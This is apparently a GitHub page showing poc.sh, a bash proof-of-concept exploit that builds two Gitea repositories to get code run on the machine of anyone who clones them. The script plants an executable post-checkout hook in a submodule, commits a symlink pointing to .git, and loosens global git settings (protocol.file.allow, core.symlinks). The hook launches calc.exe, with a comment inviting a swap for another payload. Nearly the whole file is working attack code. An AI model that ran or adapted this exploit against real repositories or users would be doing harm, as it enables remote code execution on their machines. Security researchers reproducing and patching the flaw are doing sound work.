-
Notifications
You must be signed in to change notification settings - Fork 0
/
poc.sh
98 lines (76 loc) · 3 KB
/
poc.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/bin/bash
# Ask for user input
read -p "Enter the IP address or FQDN (without http://): " ip_address
echo "In this example I already made two repositories made"
read -p "Enter your username: " username
read -p "Enter your API token: " api_token
read -p "Enter the name for the first repository: " first_repo_name
read -p "Enter the name for the second repository: " second_repo_name
# Set repository paths
first_repo="$username/$first_repo_name.git"
second_repo="$username/$second_repo_name.git"
# Function to create a repository using Gitea API
create_gitea_repo() {
local repo_name="$1"
curl --silent --request POST "http://$ip_address/api/v1/user/repos" \
--header "Authorization: token $api_token" \
--header "Content-Type: application/json" \
--data "{\"name\": \"$repo_name\", \"public\": true, \"auto_init\": true}" > /dev/null
}
# Create the repositories
create_gitea_repo "$first_repo_name"
create_gitea_repo "$second_repo_name"
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main
# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize the hook repository
rm -rf hook # Remove any existing hook directory
git init hook
cd hook
mkdir -p y/hooks
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc
EOF
# Make the hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
# Remove existing remote if it exists and add a new one
git remote remove origin 2>/dev/null
git remote add origin http://$ip_address/$first_repo
# Pull and push to remote, handling permission errors
git pull --rebase origin main
git push -u origin main || echo "Ensure the repository $first_repo exists on the remote server and you have push permissions."
cd ..
# Define the hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize the captain repository
rm -rf captain # Remove any existing captain directory
git init captain
cd captain
# Remove existing submodule if it exists
git rm --cached A/modules/x 2>/dev/null
rm -rf A/modules/x
# Add submodule with force
git submodule add --force --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
# Remove existing remote if it exists and add a new one
git remote remove origin 2>/dev/null
git remote add origin http://$ip_address/$second_repo
# Stash any local changes before pulling
git stash --include-untracked
git pull --rebase origin main
git stash pop || echo "No stashed changes to apply."
# Push with force to handle conflicts
git push -u origin main --force || echo "Ensure the repository $second_repo exists on the remote server and you have push permissions."